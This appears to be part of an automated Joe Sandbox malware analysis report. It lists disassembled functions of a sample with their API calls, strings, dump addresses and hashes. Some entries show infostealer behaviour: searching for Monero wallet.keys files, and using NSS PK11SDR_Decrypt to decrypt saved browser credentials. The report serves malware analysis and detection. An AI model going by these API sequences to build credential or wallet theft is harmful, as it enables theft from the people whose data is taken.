Associated: 00000000.00000002.2387843050.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387900830.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387960445.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: 87ce9bd5f3aff67cde588faddb11a27f5e74e8bb6ca9c4638c38cf2c6ce1d661
Instruction ID: 8e5b2784bc4e44ae93db445447a53da21b8530f242c60e12b6fd494aaa9eed1f
Opcode Fuzzy Hash: 87ce9bd5f3aff67cde588faddb11a27f5e74e8bb6ca9c4638c38cf2c6ce1d661
Instruction Fuzzy Hash: 1991C471A047018FD764CF29C49076AB7E1EB89318F158D2EE55AC7B81D734E844CBAA

Function 0032DE10 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 370fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0033A740: lstrcpy.KERNEL32(00340E17,00000000), ref: 0033A788

Part of subcall function 0033A9B0: lstrlen.KERNEL32(?,00F28FF0,?,\Monero\wallet.keys,00340E17), ref: 0033A9C5
Part of subcall function 0033A9B0: lstrcpy.KERNEL32(00000000), ref: 0033AA04
Part of subcall function 0033A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0033AA12

Part of subcall function 0033A8A0: lstrcpy.KERNEL32(?,00340E17), ref: 0033A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,00340C2E), ref: 0032DE5E
StrCmpCA.SHLWAPI(?,003414C8), ref: 0032DEAE
StrCmpCA.SHLWAPI(?,003414CC), ref: 0032DEC4
FindNextFileA.KERNEL32(000000FF,?), ref: 0032E3E0
FindClose.KERNEL32(000000FF), ref: 0032E3F2

Strings

\*.*, xrefs: 0032DE26

Memory Dump Source

Source File: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2359153688.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000040F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000042F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.00000000007DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000800000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000808000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359902512.0000000000818000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360025292.00000000009B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360040662.00000000009B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: Findlstrcpy$File$CloseFirstNextlstrcatlstrlen
String ID: \*.*
API String ID: 2325840235-1173974218
Opcode ID: 0bd07584e30ccbaeda7c18ee87b2241e711cfa00c05acd27ec5da699c557758e
Instruction ID: a7a518a200001bd7cb665231b75fca8c31e87ac485f960320ae4266a49d76c47
Opcode Fuzzy Hash: 0bd07584e30ccbaeda7c18ee87b2241e711cfa00c05acd27ec5da699c557758e
Instruction Fuzzy Hash: CEF1CF71814618AADB17FB60DCD6EEE7778BF14300F8141D9A04A6A091EF346F8ADF52

Function 0032C820 Relevance: 13.6, APIs: 9, Instructions: 95stringencryptionCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 0032C871
CryptStringToBinaryA.CRYPT32(?,00000000), ref: 0032C87C
PK11_GetInternalKeySlot.NSS3 ref: 0032C88A
PK11_Authenticate.NSS3(00000000,00000001,00000000), ref: 0032C8A5
PK11SDR_Decrypt.NSS3(?,?,00000000), ref: 0032C8EB
lstrcat.KERNEL32(?,00340B46), ref: 0032C943
lstrcat.KERNEL32(?,00340B47), ref: 0032C957
PK11_FreeSlot.NSS3(?), ref: 0032C961
lstrcat.KERNEL32(?,00340B4E), ref: 0032C978

Memory Dump Source

Source File: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2359153688.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000040F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000042F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.000000000057E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.00000000007DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000800000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000808000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359902512.0000000000818000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360025292.00000000009B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360040662.00000000009B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID: K11_lstrcat$Slot$AuthenticateBinaryCryptDecryptFreeInternalStringlstrlen
String ID:
API String ID: 3356303513-0
Opcode ID: 1059c6cc5b3848f5dd80b6d10836dd8387945a5bcc1db317a1840d22e8ab3561
Instruction ID: b3759b3cee77bc8d534fe0f2c965f6622527f23aab4cb37aeeafc8f787316627
Opcode Fuzzy Hash: 1059c6cc5b3848f5dd80b6d10836dd8387945a5bcc1db317a1840d22e8ab3561
Instruction Fuzzy Hash: 49415FB5D1421ADBDB11DFA4DD89BEEB7B8BB44304F1041A8E509B7280D7B0AA84DF91

Function 006DF8EE Relevance: 12.8, Strings: 9, Instructions: 1600COMMON

Download Yara Rule

Strings

<v, xrefs: 006DFEDB
R, xrefs: 006E098E
}=bv, xrefs: 006DF91A
{Fo, xrefs: 006E0008
ub{|, xrefs: 006DFE55
}_=?, xrefs: 006E0B63
]y, xrefs: 006E0C09
i<b, xrefs: 006E0824
z&{, xrefs: 006DFE22

Memory Dump Source

Source File: 00000000.00000002.2359595891.000000000057E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2359153688.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000040F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000042F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.00000000007DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000800000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000808000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359902512.0000000000818000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360025292.00000000009B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360040662.00000000009B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID:
String ID: <v$]y$i<b$ub{|$z&{${Fo$}=bv$}_=?$R
API String ID: 0-1504235520
Opcode ID: d72ff55c936b8d2a1ddf29774a92ea3d2c291a8a5aca13fe7dcd17f3ad896083
Instruction ID: 16d94f939a46498fdd89ea9448d30551c0d7846e903bee5dae927c84bf4e0c34
Opcode Fuzzy Hash: d72ff55c936b8d2a1ddf29774a92ea3d2c291a8a5aca13fe7dcd17f3ad896083
Instruction Fuzzy Hash: ABB24AF3A0C2049FE3046E2DEC8567ABBE6EFD4720F1A463DE6C4C7744EA3558058696

Function 6C6A2C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C6A2C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C6A2C61

Part of subcall function 6C654DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C654E5A
Part of subcall function 6C654DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C654E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C6A2C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C6A2E2D

Part of subcall function 6C6681B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C6681DE

Strings

expected a Time entry, xrefs: 6C6A2E36
(root), xrefs: 6C6A354F
ProfileBuffer parse error: %s, xrefs: 6C6A2E3B

Memory Dump Source

Source File: 00000000.00000002.2387748260.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2387678891.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387843050.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387900830.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387960445.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 02e4312583ca8ec7a0c251b38ac92e337338f3bd8d8f9d95d7f3126bcdc41898
Instruction ID: c45b159c50666698707fa0529ec4367b72d96f9d0c3f7e5a65ee094248517380
Opcode Fuzzy Hash: 02e4312583ca8ec7a0c251b38ac92e337338f3bd8d8f9d95d7f3126bcdc41898
Instruction Fuzzy Hash: 4191CF706087408FC724DF65C48469EF7E1AFCA358F10492DE99A8B751DB30E94ACB5B

Function 006F39F7 Relevance: 11.6, Strings: 8, Instructions: 1648COMMON

Download Yara Rule

Strings

gJ}, xrefs: 006F4CAA
swf, xrefs: 006F455E
V*(, xrefs: 006F3F03
E8=, xrefs: 006F3DCF
1`7E, xrefs: 006F4B48
l~o, xrefs: 006F480B
G]=w, xrefs: 006F437F
d~?, xrefs: 006F40D5

Memory Dump Source

Source File: 00000000.00000002.2359595891.000000000057E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2359153688.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000040F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000042F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.00000000007DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000800000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000808000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359902512.0000000000818000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360025292.00000000009B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360040662.00000000009B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID:
String ID: swf$1`7E$E8=$G]=w$V*($d~?$gJ}$l~o
API String ID: 0-2714056283
Opcode ID: 611e6ecf6ad047b552da673a60e99071e040f3383f3992f85bb2ea907589e30d
Instruction ID: 7771a743a53badfefea6bb53eea8d41c80ed191508c9f7135f9cdac30827a968
Opcode Fuzzy Hash: 611e6ecf6ad047b552da673a60e99071e040f3383f3992f85bb2ea907589e30d
Instruction Fuzzy Hash: 6CB2F5F360C2049FE304AE2DEC8567ABBE9EF94720F1A493DE6C5C7344EA3558418697

Function 006ECDE9 Relevance: 11.6, Strings: 8, Instructions: 1643COMMON

Download Yara Rule

Strings

gvC!, xrefs: 006ED127
B`k9, xrefs: 006ED867
Qn+, xrefs: 006EE133
_?>T, xrefs: 006EDCF3
V}, xrefs: 006ECE5C
F{Y/, xrefs: 006ED876
T.7, xrefs: 006EDCE8
t>w}, xrefs: 006EDF28

Memory Dump Source

Source File: 00000000.00000002.2359595891.000000000057E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2359153688.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000040F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000042F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.00000000007DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000800000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000808000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359902512.0000000000818000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360025292.00000000009B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360040662.00000000009B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID:
String ID: V}$B`k9$F{Y/$Qn+$T.7$_?>T$gvC!$t>w}
API String ID: 0-3397430410
Opcode ID: 82fa5fb897fc81a1a1f33553678f2645beed8120bf1e5ca1741b9c8b3cc62ae8
Instruction ID: 7909720c7247e4dfcbd1707513959bc1295bf551777ae74f8b026f0103dd88c4
Opcode Fuzzy Hash: 82fa5fb897fc81a1a1f33553678f2645beed8120bf1e5ca1741b9c8b3cc62ae8
Instruction Fuzzy Hash: 76B209F360C6049FE304AE2DEC8567AB7E9EF94720F1A893DEAC5C3344E93558058796

Function 006E626D Relevance: 11.5, Strings: 8, Instructions: 1542COMMON

Download Yara Rule

Strings

Mvo+, xrefs: 006E6B5F
3:~}, xrefs: 006E759F
Y;vs, xrefs: 006E751F
{q}{, xrefs: 006E677C
J]<, xrefs: 006E639B
)A}[, xrefs: 006E6469
#tIk, xrefs: 006E65C1
s_?, xrefs: 006E75AB

Memory Dump Source

Source File: 00000000.00000002.2359595891.000000000057E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000000.00000002.2359153688.0000000000320000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000003DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.0000000000402000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000040F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000042F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000703000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.00000000007DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000800000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000808000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359595891.0000000000817000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2359902512.0000000000818000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360025292.00000000009B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2360040662.00000000009B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_320000_file.jbxd

Yara matches

Similarity

API ID:
String ID: #tIk$)A}[$3:~}$J]<$Mvo+$Y;vs$s_?${q}{
API String ID: 0-2291172204
Opcode ID: 37077a592d72d8d7fd8e8a5c29fa2f24203816b46a8402d9b742ae925cf5c3ea
Instruction ID: 37d287433d917466830c4a5107981a242e430a33277c6fca49169c431e40d658
Opcode Fuzzy Hash: 37077a592d72d8d7fd8e8a5c29fa2f24203816b46a8402d9b742ae925cf5c3ea
Instruction Fuzzy Hash: 80B2D3F3A0C2049FE3046E29EC8567AFBE5EF94720F16893DEAC487744E63558158B87

Function 6C65D4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

0, xrefs: 6C65DC7F
8, xrefs: 6C65DC08
, xrefs: 6C65DA88
0, xrefs: 6C65D852
-, xrefs: 6C65D7DD
@, xrefs: 6C65DAF6
1, xrefs: 6C65DBDD
9, xrefs: 6C65DE7F

Memory Dump Source

Source File: 00000000.00000002.2387748260.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2387678891.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387843050.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387900830.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387960445.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: f7c7fb8722b8d40fa9d8c16e59a2d3bee432b4aa4bab75384451ff90da6f604b
Instruction ID: 0aa39ac45e123d66a3a14887cae5e2a87215a2a65c9adc49dc6c57d26949dd6f
Opcode Fuzzy Hash: f7c7fb8722b8d40fa9d8c16e59a2d3bee432b4aa4bab75384451ff90da6f604b
Instruction Fuzzy Hash: A262CF7060C3458FD701CF19C69079ABBF2AF86358FB84A0DE4D54BAD1C33599A5CB8A

Function 6C6C545C Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C6C8A4B

Strings

~qel, xrefs: 6C6C5740, 6C6C9269, 6C6C56C7, 6C6C5703, 6C6C921F, 6C6C9459, 6C6C948F

Memory Dump Source

Source File: 00000000.00000002.2387748260.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2387678891.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387843050.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387900830.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2387960445.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memset
String ID: ~qel
API String ID: 2221118986-2736371781
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: 01af520261224d43aa745bc0de72f0653f0550fdd9b9ffcc5ee0159283b6d2d5
